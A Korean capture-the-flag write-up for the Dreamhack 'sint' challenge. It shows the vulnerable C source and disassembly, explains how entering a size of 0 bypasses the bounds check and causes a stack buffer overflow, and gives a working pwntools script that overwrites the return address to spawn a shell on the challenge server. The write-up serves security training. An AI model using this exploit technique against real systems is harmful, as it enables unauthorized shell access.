본문 바로가기

드림핵 워게임

[드림핵/워게임] sint

https://dreamhack.io/wargame/challenges/25

 

sint

Description 이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "flag" 파

dreamhack.io

 

문제 파일을 다운 받으면 sint.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}
0x0804866c <+0>:     push   ebp
   0x0804866d <+1>:     mov    ebp,esp
   0x0804866f <+3>:     sub    esp,0x104
   0x08048675 <+9>:     call   0x8048612 <initialize>
   0x0804867a <+14>:    push   0x8048659
   0x0804867f <+19>:    push   0xb
   0x08048681 <+21>:    call   0x8048470 <signal@plt>
   0x08048686 <+26>:    add    esp,0x8
   0x08048689 <+29>:    push   0x80487a1
   0x0804868e <+34>:    call   0x8048460 <printf@plt>
   0x08048693 <+39>:    add    esp,0x4
   0x08048696 <+42>:    lea    eax,[ebp-0x104]
   0x0804869c <+48>:    push   eax
   0x0804869d <+49>:    push   0x80487a8
   0x080486a2 <+54>:    call   0x80484e0 <__isoc99_scanf@plt>
   0x080486a7 <+59>:    add    esp,0x8
   0x080486aa <+62>:    mov    eax,DWORD PTR [ebp-0x104]
   0x080486b0 <+68>:    cmp    eax,0x100
   0x080486b5 <+73>:    jg     0x80486c1 <main+85>
   0x080486b7 <+75>:    mov    eax,DWORD PTR [ebp-0x104]
   0x080486bd <+81>:    test   eax,eax
   0x080486bf <+83>:    jns    0x80486d5 <main+105>
   0x080486c1 <+85>:    push   0x80487ab
   0x080486c6 <+90>:    call   0x8048490 <puts@plt>
   0x080486cb <+95>:    add    esp,0x4
   0x080486ce <+98>:    push   0x0
   0x080486d0 <+100>:   call   0x80484b0 <exit@plt>
   0x080486d5 <+105>:   push   0x80487bc
   0x080486da <+110>:   call   0x8048460 <printf@plt>
   0x080486df <+115>:   add    esp,0x4
   0x080486e2 <+118>:   mov    eax,DWORD PTR [ebp-0x104]
   0x080486e8 <+124>:   sub    eax,0x1
   0x080486eb <+127>:   push   eax
   0x080486ec <+128>:   lea    eax,[ebp-0x100]
   0x080486f2 <+134>:   push   eax
   0x080486f3 <+135>:   push   0x0
   0x080486f5 <+137>:   call   0x8048450 <read@plt>
   0x080486fa <+142>:   add    esp,0xc
   0x080486fd <+145>:   mov    eax,0x0
   0x08048702 <+150>:   leave
   0x08048703 <+151>:   ret

sint.c와 메임 함수의 어셈이다.

 

1. size를 입력 받는다.

2. size의 범위를 검사하고, 범위 밖이면 실행을 종료한다.

3. size - 1만큼 buf를 입력받는다.

 

범위를 검사하는 부분을 잘 보면 0은 고려하지 않는 것을 볼 수 있다.

따라서 size에 0을 입력하면, buf를 입력할 때 bof가 가능하다.

 

 

 

 

 

 

 

 

 

 

 

 

buf + SFP만큼 (0x100 + 0x4) 아무 값이나 넣어 채워 주고, RET에 get_shell() 함수의 주소를 넣어 주면 된다.

 

이를 코드로 짜면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games",19478)

get_shell = p32(0x8048659)

p.recvuntil("Size: ")
p.sendline(str(0))

payload = b"A" * 0x104
payload += get_shell

p.sendafter("Data: ", payload)

p.interactive()